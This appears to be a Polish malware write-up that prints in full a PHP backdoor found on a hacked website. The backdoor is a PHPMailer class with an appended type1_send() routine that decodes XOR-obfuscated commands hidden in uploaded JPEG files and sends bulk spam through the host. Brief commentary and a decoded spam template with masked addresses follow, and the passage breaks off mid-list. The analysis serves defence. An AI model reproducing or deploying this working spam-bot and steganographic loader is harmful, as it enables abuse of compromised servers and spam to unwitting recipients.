    public function addAttachment($path, $name = '', $encoding = 'base64', $type = '', $disposition = 'attachment')     {         try {             if (!@is_file($path)) {                 throw new phpmailerException($this->lang('file_access') . $path, self::STOP_CONTINUE);             }             // If a MIME type is not specified, try to work it out from the file name             if ($type == '') {                 $type = self::filenameToType($path);             }             $filename = basename($path);             if ($name == '') {                 $name = $filename;             }             $this->attachment[] = array(                 0 => $path,                 1 => $filename,                 2 => $name,                 3 => $encoding,                 4 => $type,                 5 => false, // isStringAttachment                 6 => $disposition,                 7 => 0             );         } catch (phpmailerException $exc) {             $this->setError($exc->getMessage());             $this->edebug($exc->getMessage());             if ($this->exceptions) {                 throw $exc;             }             return false;         }         return true;     }     public function getAttachments()     {         return $this->attachment;     }     protected function attachAll($disposition_type, $boundary)     {         // Return text of body         $mime = array();         $cidUniq = array();         $incl = array();         // Add all attachments         foreach ($this->attachment as $attachment) {             // Check if it is a valid disposition_filter             if ($attachment[6] == $disposition_type) {                 // Check for string attachment                 $string = '';                 $path = '';                 $bString = $attachment[5];                 if ($bString) {                     $string = $attachment[0];                 } else {                     $path = $attachment[0];                 }                 $inclhash = md5(serialize($attachment));                 if (in_array($inclhash, $incl)) {                     continue;                 }                 $incl[] = $inclhash;                 $name = $attachment[2];                 $encoding = $attachment[3];                 $type = $attachment[4];                 $disposition = $attachment[6];                 $cid = $attachment[7];                 if ($disposition == 'inline' && isset($cidUniq[$cid])) {                     continue;                 }                 $cidUniq[$cid] = true;                 $mime[] = sprintf('--%s%s', $boundary, $this->LE);                 $mime[] = sprintf(                     'Content-Type: %s; name="%s"%s',                     $type,                     $this->encodeHeader($this->secureHeader($name)),                     $this->LE                 );                 // RFC1341 part 5 says 7bit is assumed if not specified                 if ($encoding != '7bit') {                     $mime[] = sprintf('Content-Transfer-Encoding: %s%s', $encoding, $this->LE);                 }                 if ($disposition == 'inline') {                     $mime[] = sprintf('Content-ID: <%s>%s', $cid, $this->LE);                 }                 // If a filename contains any of these chars, it should be quoted,                 // but not otherwise: RFC2183 & RFC2045 5.1                 // Fixes a warning in IETF's msglint MIME checker                 // Allow for bypassing the Content-Disposition header totally                 if (!(empty($disposition))) {                     $encoded_name = $this->encodeHeader($this->secureHeader($name));                     if (preg_match('/[ ()<>@,;:"/[]?=]/', $encoded_name)) {                         $mime[] = sprintf(                             'Content-Disposition: %s; filename="%s"%s',                             $disposition,                             $encoded_name,                             $this->LE . $this->LE                         );                     } else {                         $mime[] = sprintf(                             'Content-Disposition: %s; filename=%s%s',                             $disposition,                             $encoded_name,                             $this->LE . $this->LE                         );                     }                 } else {                     $mime[] = $this->LE;                 }                 // Encode as string attachment                 if ($bString) {                     $mime[] = $this->encodeString($string, $encoding);                     if ($this->isError()) {                         return '';                     }                     $mime[] = $this->LE . $this->LE;                 } else {                     $mime[] = $this->encodeFile($path, $encoding);                     if ($this->isError()) {                         return '';                     }                     $mime[] = $this->LE . $this->LE;                 }             }         }         $mime[] = sprintf('--%s--%s', $boundary, $this->LE);         return implode('', $mime);     }     protected function encodeFile($path, $encoding = 'base64')     {         try {             if (!is_readable($path)) {                 throw new phpmailerException($this->lang('file_open') . $path, self::STOP_CONTINUE);             }             $magic_quotes = get_magic_quotes_runtime();             if ($magic_quotes) {                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {                     set_magic_quotes_runtime(false);                 } else {                     ini_set('magic_quotes_runtime', 0);                 }             }             $file_buffer = file_get_contents($path);             $file_buffer = $this->encodeString($file_buffer, $encoding);             if ($magic_quotes) {                 if (version_compare(PHP_VERSION, '5.3.0', '<')) {                     set_magic_quotes_runtime($magic_quotes);                 } else {                     ini_set('magic_quotes_runtime', ($magic_quotes?'1':'0'));                 }             }             return $file_buffer;         } catch (Exception $exc) {             $this->setError($exc->getMessage());             return '';         }     }     public function encodeString($str, $encoding = 'base64')     {         $encoded = '';         switch (strtolower($encoding)) {             case 'base64':                 $encoded = chunk_split(base64_encode($str), 76, $this->LE);                 break;             case '7bit':             case '8bit':                 $encoded = $this->fixEOL($str);                 // Make sure it ends with a line break                 if (substr($encoded, -(strlen($this->LE))) != $this->LE) {                     $encoded .= $this->LE;                 }                 break;             case 'binary':                 $encoded = $str;                 break;             case 'quoted-printable':                 $encoded = $this->encodeQP($str);                 break;             default:                 $this->setError($this->lang('encoding') . $encoding);                 break;         }         return $encoded;     }     public function encodeHeader($str, $position = 'text')     {         $matchcount = 0;         switch (strtolower($position)) {             case 'phrase':                 if (!preg_match('/[200-377]/', $str)) {                     // Can't use addslashes as we don't know the value of magic_quotes_sybase                     $encoded = addcslashes($str, "..37177"");                     if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&'*+/=?^_`{|}~ -]/', $str)) {                         return ($encoded);                     } else {                         return (""$encoded"");                     }                 }                 $matchcount = preg_match_all('/[^404143-133135-176]/', $str, $matches);                 break;             /** @noinspection PhpMissingBreakStatementInspection */             case 'comment':                 $matchcount = preg_match_all('/[()"]/', $str, $matches);                 // Intentional fall-through             case 'text':             default:                 $matchcount += preg_match_all('/[00-10131416-37177-377]/', $str, $matches);                 break;         }         if ($matchcount == 0) { // There are no chars that need encoding             return ($str);         }         $maxlen = 75 - 7 - strlen($this->CharSet);         // Try to select the encoding which should produce the shortest output         if ($matchcount > strlen($str) / 3) {             // More than a third of the content will need encoding, so B encoding will be most efficient             $encoding = 'B';             if (function_exists('mb_strlen') && $this->hasMultiBytes($str)) {                 $encoded = $this->base64EncodeWrapMB($str, "n");             } else {                 $encoded = base64_encode($str);                 $maxlen -= $maxlen % 4;                 $encoded = trim(chunk_split($encoded, $maxlen, "n"));             }         } else {             $encoding = 'Q';             $encoded = $this->encodeQ($str, $position);             $encoded = $this->wrapText($encoded, $maxlen, true);             $encoded = str_replace('=' . self::CRLF, "n", trim($encoded));         }         $encoded = preg_replace('/^(.*)$/m', ' =?' . $this->CharSet . "?$encoding?1?=", $encoded);         $encoded = trim(str_replace("n", $this->LE, $encoded));         return $encoded;     }     public function hasMultiBytes($str)     {         if (function_exists('mb_strlen')) {             return (strlen($str) > mb_strlen($str, $this->CharSet));         } else { // Assume no multibytes (we can't handle without mbstring functions anyway)             return false;         }     }     public function has8bitChars($text)     {         return (boolean)preg_match('/[x80-xFF]/', $text);     }     public function base64EncodeWrapMB($str, $linebreak = null)     {         $start = '=?' . $this->CharSet . '?B?';         $end = '?=';         $encoded = '';         if ($linebreak === null) {             $linebreak = $this->LE;         }         $mb_length = mb_strlen($str, $this->CharSet);         // Each line must have length <= 75, including $start and $end         $length = 75 - strlen($start) - strlen($end);         // Average multi-byte ratio         $ratio = $mb_length / strlen($str);         // Base64 has a 4:3 ratio         $avgLength = floor($length * $ratio * .75);         for ($i = 0; $i < $mb_length; $i += $offset) {             $lookBack = 0;             do {                 $offset = $avgLength - $lookBack;                 $chunk = mb_substr($str, $i, $offset, $this->CharSet);                 $chunk = base64_encode($chunk);                 $lookBack++;             } while (strlen($chunk) > $length);             $encoded .= $chunk . $linebreak;         }         // Chomp the last linefeed         $encoded = substr($encoded, 0, -strlen($linebreak));         return $encoded;     }     public function encodeQP($string, $line_max = 76)     {         if (function_exists('quoted_printable_encode')) { // Use native function if it's available (>= PHP5.3)             return $this->fixEOL(quoted_printable_encode($string));         }         // Fall back to a pure PHP implementation         $string = str_replace(             array('%20', '%0D%0A.', '%0D%0A', '%'),             array(' ', "rn=2E", "rn", '='),             rawurlencode($string)         );         $string = preg_replace('/[^rn]{' . ($line_max - 3) . '}[^=rn]{2}/', "$0=rn", $string);         return $this->fixEOL($string);     }     public function encodeQPphp(         $string,         $line_max = 76,         /** @noinspection PhpUnusedParameterInspection */ $space_conv = false     ) {         return $this->encodeQP($string, $line_max);     }     public function encodeQ($str, $position = 'text')     {         // There should not be any EOL in the string         $pattern = '';         $encoded = str_replace(array("r", "n"), '', $str);         switch (strtolower($position)) {             case 'phrase':                 // RFC 2047 section 5.3                 $pattern = '^A-Za-z0-9!*+/ -';                 break;             /** @noinspection PhpMissingBreakStatementInspection */             case 'comment':                 // RFC 2047 section 5.2                 $pattern = '()"';             case 'text':             default:                 $pattern = '00-11131416-377577137177-377' . $pattern;                 break;         }         $matches = array();         if (preg_match_all("/[{$pattern}]/", $encoded, $matches)) {             $eqkey = array_search('=', $matches[0]);             if (false !== $eqkey) {                 unset($matches[0][$eqkey]);                 array_unshift($matches[0], '=');             }             foreach (array_unique($matches[0]) as $char) {                 $encoded = str_replace($char, '=' . sprintf('%02X', ord($char)), $encoded);             }         }         // Replace every spaces to _ (more readable than =20)         return str_replace(' ', '_', $encoded);     }     public function addStringAttachment(         $string,         $filename,         $encoding = 'base64',         $type = '',         $disposition = 'attachment'     ) {         // If a MIME type is not specified, try to work it out from the file name         if ($type == '') {             $type = self::filenameToType($filename);         }         // Append to $attachment array         $this->attachment[] = array(             0 => $string,             1 => $filename,             2 => basename($filename),             3 => $encoding,             4 => $type,             5 => true, // isStringAttachment             6 => $disposition,             7 => 0         );     }     public function addEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = '', $disposition = 'inline')     {         if (!@is_file($path)) {             $this->setError($this->lang('file_access') . $path);             return false;         }         // If a MIME type is not specified, try to work it out from the file name         if ($type == '') {             $type = self::filenameToType($path);         }         $filename = basename($path);         if ($name == '') {             $name = $filename;         }         // Append to $attachment array         $this->attachment[] = array(             0 => $path,             1 => $filename,             2 => $name,             3 => $encoding,             4 => $type,             5 => false, // isStringAttachment             6 => $disposition,             7 => $cid         );         return true;     }     public function addStringEmbeddedImage(         $string,         $cid,         $name = '',         $encoding = 'base64',         $type = '',         $disposition = 'inline'     ) {         // If a MIME type is not specified, try to work it out from the name         if ($type == '') {             $type = self::filenameToType($name);         }         // Append to $attachment array         $this->attachment[] = array(             0 => $string,             1 => $name,             2 => $name,             3 => $encoding,             4 => $type,             5 => true, // isStringAttachment             6 => $disposition,             7 => $cid         );         return true;     }     public function inlineImageExists()     {         foreach ($this->attachment as $attachment) {             if ($attachment[6] == 'inline') {                 return true;             }         }         return false;     }     public function attachmentExists()     {         foreach ($this->attachment as $attachment) {             if ($attachment[6] == 'attachment') {                 return true;             }         }         return false;     }     public function alternativeExists()     {         return !empty($this->AltBody);     }     public function clearAddresses()     {         foreach ($this->to as $to) {             unset($this->all_recipients[strtolower($to[0])]);         }         $this->to = array();     }     public function clearCCs()     {         foreach ($this->cc as $cc) {             unset($this->all_recipients[strtolower($cc[0])]);         }         $this->cc = array();     }     public function clearBCCs()     {         foreach ($this->bcc as $bcc) {             unset($this->all_recipients[strtolower($bcc[0])]);         }         $this->bcc = array();     }     public function clearReplyTos()     {         $this->ReplyTo = array();     }     public function clearAllRecipients()     {         $this->to = array();         $this->cc = array();         $this->bcc = array();         $this->all_recipients = array();     }     public function clearAttachments()     {         $this->attachment = array();     }     public function clearCustomHeaders()     {         $this->CustomHeader = array();     }     protected function setError($msg)     {         $this->error_count++;         if ($this->Mailer == 'smtp' and !is_null($this->smtp)) {             $lasterror = $this->smtp->getError();             if (!empty($lasterror) and array_key_exists('smtp_msg', $lasterror)) {                 $msg .= ' 4' . $this->lang('smtp_error') . $lasterror['smtp_msg'] . " 4
n";             }         }         $this->ErrorInfo = $msg;     }     public static function rfcDate()     {         // Set the time zone to whatever the default is to avoid 500 errors         // Will default to UTC if it's not set properly in php.ini         date_default_timezone_set(@date_default_timezone_get());         return date('D, j M Y H:i:s O');     }     protected function serverHostname()     {         $result = 'localhost.localdomain';         if (!empty($this->Hostname)) {             $result = $this->Hostname;         } elseif (isset($_SERVER) and array_key_exists('SERVER_NAME', $_SERVER) and !empty($_SERVER['SERVER_NAME'])) {             $result = $_SERVER['SERVER_NAME'];         } elseif (function_exists('gethostname') && gethostname() !== false) {             $result = gethostname();         } elseif (php_uname('n') !== false) {             $result = php_uname('n');         }         return $result;     }     protected function lang($key)     {         if (count($this->language) < 1) {             $this->setLanguage('en'); // set the default language         }         if (isset($this->language[$key])) {             return $this->language[$key];         } else {             return 'Language string failed to load: ' . $key;         }     }     public function isError()     {         return ($this->error_count > 0);     }     public function fixEOL($str)     {         // Normalise to n         $nstr = str_replace(array("rn", "r"), "n", $str);         // Now convert LE as needed         if ($this->LE !== "n") {             $nstr = str_replace("n", $this->LE, $nstr);         }         return $nstr;     }     public function addCustomHeader($name, $value = null)     {         if ($value === null) {             // Value passed in as name:value             $this->CustomHeader[] = explode(':', $name, 2);         } else {             $this->CustomHeader[] = array($name, $value);         }     }     public function msgHTML($message, $basedir = '', $advanced = false)     {         preg_match_all('/(src|background)=["'](.*)["']/Ui', $message, $images);         if (isset($images[2])) {             foreach ($images[2] as $imgindex => $url) {                 // Convert data URIs into embedded images                 if (preg_match('#^data:(image[^;,]*)(;base64)?,#', $url, $match)) {                     $data = substr($url, strpos($url, ','));                     if ($match[2]) {                         $data = base64_decode($data);                     } else {                         $data = rawurldecode($data);                     }                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2                     if ($this->addStringEmbeddedImage($data, $cid, '', 'base64', $match[1])) {                         $message = str_replace(                             $images[0][$imgindex],                             $images[1][$imgindex] . '="cid:' . $cid . '"',                             $message                         );                     }                 } elseif (!preg_match('#^[A-z]+://#', $url)) {                     // Do not change urls for absolute images (thanks to corvuscorax)                     $filename = basename($url);                     $directory = dirname($url);                     if ($directory == '.') {                         $directory = '';                     }                     $cid = md5($url) . '@phpmailer.0'; // RFC2392 S 2                     if (strlen($basedir) > 1 && substr($basedir, -1) != '/') {                         $basedir .= '/';                     }                     if (strlen($directory) > 1 && substr($directory, -1) != '/') {                         $directory .= '/';                     }                     if ($this->addEmbeddedImage(                         $basedir . $directory . $filename,                         $cid,                         $filename,                         'base64',                         self::_mime_types((string)self::mb_pathinfo($filename, PATHINFO_EXTENSION))                     )                     ) {                         $message = preg_replace(                             '/' . $images[1][$imgindex] . '=["']' . preg_quote($url, '/') . '["']/Ui',                             $images[1][$imgindex] . '="cid:' . $cid . '"',                             $message                         );                     }                 }             }         }         $this->isHTML(true);         // Convert all message body line breaks to CRLF, makes quoted-printable encoding work much better         $this->Body = $this->normalizeBreaks($message);         $this->AltBody = $this->normalizeBreaks($this->html2text($message, $advanced));         if (empty($this->AltBody)) {             $this->AltBody = 'To view this email message, open it in a program that understands HTML!' .                 self::CRLF . self::CRLF;         }         return $this->Body;     }     public function html2text($html, $advanced = false)     {         if (is_callable($advanced)) {             return call_user_func($advanced, $html);         }         return html_entity_decode(             trim(custom_strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?</1>/si', '', $html))),             ENT_QUOTES,             $this->CharSet         );     }     public static function _mime_types($ext = '')     {         $mimes = array(             'xl'    => 'application/excel',             'js'    => 'application/javascript',             'hqx'   => 'application/mac-binhex40',             'cpt'   => 'application/mac-compactpro',             'bin'   => 'application/macbinary',             'doc'   => 'application/msword',             'word'  => 'application/msword',             'class' => 'application/octet-stream',             'dll'   => 'application/octet-stream',             'dms'   => 'application/octet-stream',             'exe'   => 'application/octet-stream',             'lha'   => 'application/octet-stream',             'lzh'   => 'application/octet-stream',             'psd'   => 'application/octet-stream',             'sea'   => 'application/octet-stream',             'so'    => 'application/octet-stream',             'oda'   => 'application/oda',             'pdf'   => 'application/pdf',             'ai'    => 'application/postscript',             'eps'   => 'application/postscript',             'ps'    => 'application/postscript',             'smi'   => 'application/smil',             'smil'  => 'application/smil',             'mif'   => 'application/vnd.mif',             'xls'   => 'application/vnd.ms-excel',             'ppt'   => 'application/vnd.ms-powerpoint',             'wbxml' => 'application/vnd.wap.wbxml',             'wmlc'  => 'application/vnd.wap.wmlc',             'dcr'   => 'application/x-director',             'dir'   => 'application/x-director',             'dxr'   => 'application/x-director',             'dvi'   => 'application/x-dvi',             'gtar'  => 'application/x-gtar',             'php3'  => 'application/x-httpd-php',             'php4'  => 'application/x-httpd-php',             'php'   => 'application/x-httpd-php',             'phtml' => 'application/x-httpd-php',             'phps'  => 'application/x-httpd-php-source',             'swf'   => 'application/x-shockwave-flash',             'sit'   => 'application/x-stuffit',             'tar'   => 'application/x-tar',             'tgz'   => 'application/x-tar',             'xht'   => 'application/xhtml+xml',             'xhtml' => 'application/xhtml+xml',             'zip'   => 'application/zip',             'mid'   => 'audio/midi',             'midi'  => 'audio/midi',             'mp2'   => 'audio/mpeg',             'mp3'   => 'audio/mpeg',             'mpga'  => 'audio/mpeg',             'aif'   => 'audio/x-aiff',             'aifc'  => 'audio/x-aiff',             'aiff'  => 'audio/x-aiff',             'ram'   => 'audio/x-pn-realaudio',             'rm'    => 'audio/x-pn-realaudio',             'rpm'   => 'audio/x-pn-realaudio-plugin',             'ra'    => 'audio/x-realaudio',             'wav'   => 'audio/x-wav',             'bmp'   => 'image/bmp',             'gif'   => 'image/gif',             'jpeg'  => 'image/jpeg',             'jpe'   => 'image/jpeg',             'jpg'   => 'image/jpeg',             'png'   => 'image/png',             'tiff'  => 'image/tiff',             'tif'   => 'image/tiff',             'eml'   => 'message/rfc822',             'css'   => 'text/css',             'html'  => 'text/html',             'htm'   => 'text/html',             'shtml' => 'text/html',             'log'   => 'text/plain',             'text'  => 'text/plain',             'txt'   => 'text/plain',             'rtx'   => 'text/richtext',             'rtf'   => 'text/rtf',             'vcf'   => 'text/vcard',             'vcard' => 'text/vcard',             'xml'   => 'text/xml',             'xsl'   => 'text/xml',             'mpeg'  => 'video/mpeg',             'mpe'   => 'video/mpeg',             'mpg'   => 'video/mpeg',             'mov'   => 'video/quicktime',             'qt'    => 'video/quicktime',             'rv'    => 'video/vnd.rn-realvideo',             'avi'   => 'video/x-msvideo',             'movie' => 'video/x-sgi-movie'         );         return (array_key_exists(strtolower($ext), $mimes) ? $mimes[strtolower($ext)]: 'application/octet-stream');     }     public static function filenameToType($filename)     {         // In case the path is a URL, strip any query string before getting extension         $qpos = strpos($filename, '?');         if (false !== $qpos) {             $filename = substr($filename, 0, $qpos);         }         $pathinfo = self::mb_pathinfo($filename);         return self::_mime_types($pathinfo['extension']);     }     public static function mb_pathinfo($path, $options = null)     {         $ret = array('dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '');         $pathinfo = array();         if (preg_match('%^(.*?)[/]*(([^/]*?)(.([^./]+?)|))[/.]*$%im', $path, $pathinfo)) {             if (array_key_exists(1, $pathinfo)) {                 $ret['dirname'] = $pathinfo[1];             }             if (array_key_exists(2, $pathinfo)) {                 $ret['basename'] = $pathinfo[2];             }             if (array_key_exists(5, $pathinfo)) {                 $ret['extension'] = $pathinfo[5];             }             if (array_key_exists(3, $pathinfo)) {                 $ret['filename'] = $pathinfo[3];             }         }         switch ($options) {             case PATHINFO_DIRNAME:             case 'dirname':                 return $ret['dirname'];             case PATHINFO_BASENAME:             case 'basename':                 return $ret['basename'];             case PATHINFO_EXTENSION:             case 'extension':                 return $ret['extension'];             case PATHINFO_FILENAME:             case 'filename':                 return $ret['filename'];             default:                 return $ret;         }     }     public function set($name, $value = '')     {         try {             if (isset($this->$name)) {                 $this->$name = $value;             } else {                 throw new phpmailerException($this->lang('variable_set') . $name, self::STOP_CRITICAL);             }         } catch (Exception $exc) {             $this->setError($exc->getMessage());             if ($exc->getCode() == self::STOP_CRITICAL) {                 return false;             }         }         return true;     }     public function secureHeader($str)     {         return trim(str_replace(array("r", "n"), '', $str));     }     public static function normalizeBreaks($text, $breaktype = "rn")     {         return preg_replace('/(rn|r|n)/ms', $breaktype, $text);     }     public function sign($cert_filename, $key_filename, $key_pass)     {         $this->sign_cert_file = $cert_filename;         $this->sign_key_file = $key_filename;         $this->sign_key_pass = $key_pass;     }     public function DKIM_QP($txt)     {         $line = '';         for ($i = 0; $i < strlen($txt); $i++) {             $ord = ord($txt[$i]);             if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord == 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) {                 $line .= $txt[$i];             } else {                 $line .= '=' . sprintf('%02X', $ord);             }         }         return $line;     }     public function DKIM_Sign($signHeader)     {         if (!defined('PKCS7_TEXT')) {             if ($this->exceptions) {                 throw new phpmailerException($this->lang('signing') . ' OpenSSL extension missing.');             }             return '';         }         $privKeyStr = file_get_contents($this->DKIM_private);         if ($this->DKIM_passphrase != '') {             $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase);         } else {             $privKey = $privKeyStr;         }         if (openssl_sign($signHeader, $signature, $privKey)) {             return base64_encode($signature);         }         return '';     }     public function DKIM_HeaderC($signHeader)     {         $signHeader = preg_replace('/rns+/', ' ', $signHeader);         $lines = explode("rn", $signHeader);         foreach ($lines as $key => $line) {             list($heading, $value) = explode(':', $line, 2);             $heading = strtolower($heading);             $value = preg_replace('/s+/', ' ', $value); // Compress useless spaces             $lines[$key] = $heading . ':' . trim($value); // Don't forget to remove WSP around the value         }         $signHeader = implode("rn", $lines);         return $signHeader;     }     public function DKIM_BodyC($body)     {         if ($body == '') {             return "rn";         }         // stabilize line endings         $body = str_replace("rn", "n", $body);         $body = str_replace("n", "rn", $body);         // END stabilize line endings         while (substr($body, strlen($body) - 4, 4) == "rnrn") {             $body = substr($body, 0, strlen($body) - 2);         }         return $body;     }     public function DKIM_Add($headers_line, $subject, $body)     {         $DKIMsignatureType = 'rsa-sha1'; // Signature & hash algorithms         $DKIMcanonicalization = 'relaxed/simple'; // Canonicalization of header/body         $DKIMquery = 'dns/txt'; // Query method         $DKIMtime = time(); // Signature Timestamp = seconds since 00:00:00 - Jan 1, 1970 (UTC time zone)         $subject_header = "Subject: $subject";         $headers = explode($this->LE, $headers_line);         $from_header = '';         $to_header = '';         $current = '';         foreach ($headers as $header) {             if (strpos($header, 'From:') === 0) {                 $from_header = $header;                 $current = 'from_header';             } elseif (strpos($header, 'To:') === 0) {                 $to_header = $header;                 $current = 'to_header';             } else {                 if ($current && strpos($header, ' =?') === 0) {                     $current .= $header;                 } else {                     $current = '';                 }             }         }         $from = str_replace('|', '=7C', $this->DKIM_QP($from_header));         $to = str_replace('|', '=7C', $this->DKIM_QP($to_header));         $subject = str_replace(             '|',             '=7C',             $this->DKIM_QP($subject_header)         ); // Copied header fields (dkim-quoted-printable)         $body = $this->DKIM_BodyC($body);         $DKIMlen = strlen($body); // Length of body         $DKIMb64 = base64_encode(pack('H*', sha1($body))); // Base64 of packed binary SHA-1 hash of body         $ident = ($this->DKIM_identity == '') ? '' : ' i=' . $this->DKIM_identity . ';';         $dkimhdrs = 'DKIM-Signature: v=1; a=' .             $DKIMsignatureType . '; q=' .             $DKIMquery . '; l=' .             $DKIMlen . '; s=' .             $this->DKIM_selector .             ";rn" .             "tt=" . $DKIMtime . '; c=' . $DKIMcanonicalization . ";rn" .             "th=From:To:Subject;rn" .             "td=" . $this->DKIM_domain . ';' . $ident . "rn" .             "tz=$fromrn" .             "t|$torn" .             "t|$subject;rn" .             "tbh=" . $DKIMb64 . ";rn" .             "tb=";         $toSign = $this->DKIM_HeaderC(             $from_header . "rn" . $to_header . "rn" . $subject_header . "rn" . $dkimhdrs         );         $signed = $this->DKIM_Sign($toSign);         return $dkimhdrs . $signed . "rn";     }     public function getToAddresses()     {         return $this->to;     }     public function getCcAddresses()     {         return $this->cc;     }     public function getBccAddresses()     {         return $this->bcc;     }     public function getReplyToAddresses()     {         return $this->ReplyTo;     }     public function getAllRecipientAddresses()     {         return $this->all_recipients;     }       protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from)     {         if (!empty($this->action_function) && is_callable($this->action_function)) {             $params = array($isSent, $to, $cc, $bcc, $subject, $body, $from);             call_user_func_array($this->action_function, $params);         }     } } class phpmailerException extends Exception {     public function errorMessage()     {         $errorMsg = '' . $this->getMessage() . "
n";         return $errorMsg;     } } ///////////////////////////////////////////////////////////////// function sendSmtpMail($from_email, $from_name, $to, $subject, $body, $type, $config_file) {         $mail = new PHPMailer();         $mail->isMail();     $mail->CharSet = 'utf-8';         $mail->SetFrom($from_email, $from_name);         $mail->AddAddress($to);         $mail->Subject = $subject;         if ($type == "1")         {                 $mail->MsgHTML($body);         }         elseif ($type == "2")         {                 $mail->isHTML(false);                 $mail->Body = $body;         }         if (isset($_FILES))         {                 foreach($_FILES as $key => $file)                 {                         if ($file['tmp_name'] != $config_file)                         {                                 $mail->addAttachment($file['tmp_name'], $file['name']);                         }                 }         }         if (!$mail->send())         {                 $to_domain = explode("@", $to);                 $to_domain = $to_domain[1];                 $mail->IsSMTP();                 $mail->Host       = mx_lookup($to_domain);                 $mail->Port       = 25;                 $mail->SMTPAuth   = false;                 if (!$mail->send())                 {                         return Array(0, $mail->ErrorInfo);                 }                 else                 {                         return Array(2, 0);                 }         }         else         {                 return Array(1, 0);         } } if (isset($_FILES)) {         foreach($_FILES as $key => $file)         {                 if(strpos($file['name'], ".jpg"))                 {                         $res = type1_send($file['tmp_name']);             if ($res)             {                 echo $res;             }                 }         } } function mx_lookup($hostname) {     @getmxrr($hostname, $mxhosts, $precedence);     if(count($mxhosts) === 0) return '127.0.0.1';     $position = array_keys($precedence, min($precedence));     return $mxhosts[$position[0]]; } function myhex2bin( $str ) {     $sbin = "";     $len = strlen( $str );     for ( $i = 0; $i < $len; $i += 2 ) {         $sbin .= pack( "H*", substr( $str, $i, 2 ) );     }     return $sbin; } function decode($data, $key) {         $out_data = "";         for ($i=0; $i<strlen($data);)         {                 for ($j=0; $j<strlen($key) && $i<strlen($data); $j++, $i++)                 {                         $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));                 }         }         return $out_data; } function type1_send($config_file) {     $data = file_get_contents($config_file);         $start_pos = strpos($data, myhex2bin("ffda"));         if ($start_pos)         {                 $start_pos += (20);                 $end_pos = strrpos($data, myhex2bin("ffd9"));                 if ($end_pos)                 {                         $data = substr($data, $start_pos, $end_pos);                 }                 else                 {                         return FALSE;                 }         }         else         {                 return FALSE;         }     $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];     $data = decode($data, $key);         $data = @unserialize($data);     if (!$data || !isset($data['ak']))     {         return FALSE;     }         if ($data['ak'] != "17271a63-10cb-4be2-a4ce-09597050a625")         {                 exit();         }     if (isset($data['c']))     {         $res["r"]["c"] = $data['c'];         return base64_encode(serialize($res));     }         $good = 0;         $bad = 0;         $last_error = Array(0, 0);         foreach ($data['e'] as $uid=>$email)         {                 $theme = $data['s'][array_rand($data['s'])];                 $theme = alter_macros($theme);                 $theme = num_macros($theme);                 $theme = xnum_macros($theme);                 $message = $data['l'];                 $message = alter_macros($message);                 $message = num_macros($message);                 $message = xnum_macros($message);                 $message = fteil_macros($message, $uid);                 $from = $data['f'][array_rand($data['f'])];                 $from = alter_macros($from);                 $from = num_macros($from);                 $from = xnum_macros($from);                 if (strstr($from, "[CUSTOM]") == FALSE)                 {                         $from = from_host($from);                 }                 else                 {                         $from = str_replace("[CUSTOM]", "", $from);                 }                 $from_email = explode("<", $from);                 $from_email = explode(">", $from_email[1]);                 $from_name = explode(""", $from);                 $last_error = sendSmtpMail($from_email[0], $from_name[1], $email, $theme, $message, $data['lt'], $config_file);                 if ($last_error[1] === 0)                 {                         $good++;                 }                 else                 {                         $bad++;                         $good = count($data['e']) - $bad;                 }         }         $res["r"]["t"] = $last_error[0];         $res["r"]["e"] = $last_error[1] === FALSE ? 0 : $last_error[1];         $res["r"]["g"] = $good;         $res["r"]["b"] = $bad;         return base64_encode(serialize($res));
}


Większość powyższego kodu stanowi klasa do wysyłki wiadomości e-mail. Najistotniejsze informacje znajdują się w funkcji type1_send() i w funkcjach bezpośrednio przez nią wywoływanych.

Jedynym parametrem funkcji type1_send() jest zmienna $config_file - a zgodnie z linią 2854 powyższego kodu, zmienna ta zawiera przesyłany plik graficzny z rozszerzeniem *.jpg
Atakujący wykorzystał tutaj dwa sposoby na ukrycie kodu w pliku .jpg:

  • operacje na stringach:  $out_data .= chr(ord($data[$i]) ^ ord($key[$j]));
  • oraz użycie klucza: $key = $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];

Użycie klucza w takim formacie sugeruje, że dane do ataku były zbierane od dłuższego czasu.

Po odkodowaniu pliku .jpg otrzymaliśmy poniższą treść szablonu do generowania wiadomości spamowych:

Array
(
    [e] => Array
        (
            [b71b9024a7276b9e] => XXXX@gmail.com
            [6afc469307e6ec9e] => XXXX@sigles.com
            [c2a1d6486db0efd6] => XXXX@gmail.com
            [97e1079ee312af40] => XXXX@gmail.com
            [4cbe8c3a1b6987d5] => XXXX@gmail.com
            [524d5d54c294df20] => XXXX@gmail.com
            [160cb842600fb010] => XXXX@yahoo.com
            [32b2eb3d4bd9d372] => XXXX@gmail.com
            [8ec4beaa0da2d7d9] => XXXX@yahoo.com
            [9a373112c570253f] => XXXX@yahoo.com
            [50c355fc8782f33c] => XXXX@msn.com
            [c50f0f605d285e4c] => XXXX@gmail.com
            [f549717f5338a89d] => XXXX@gmail.com
            [5998fbeff70206ad] => XXXX@yahoo.com
            [ea5e534eacd53ea0] => XXXX@yahoo.co.id
            [1686127424080f61] => XXXX@yahoo.com
            [e5a3d0b80cf7b3d4] => XXXX@aol.com
            [21488559767d05ed] => XXXX@gmail.com
            [84f1d491b0b7306f] => XXXX@ymail.com
            [192b596311a0f48d] => XXXX@yahoo.com
            [978b7b1305ff91ea] => XXXX@yahoo.com
            [fc8901de5b0c3cf9] => XXXX@yahoo.com
            [2ed2d6cc62015a94] => XXXX@gmail.com
            [d59b760779fe8a4c] => XXXX@gmail.com
            [6cfffd5e3229fb8f] => XXXX@gmail.com
            [e205068b7377b3b2] => XXXX@hotmail.com
            [bdb3cc7c36857119] => XXXX@hotmail.com
            [86024068f4dea0ac] => XXXX@yahoo.com
            [2290ed14dd6f8da8] => XXXX@aol.com
            [d9b1d6db327109b3] => XXXX@gmail.com
        )
    [f] => Array
        (
            [0] => "XXXX" <XXXX@lovehits.com>
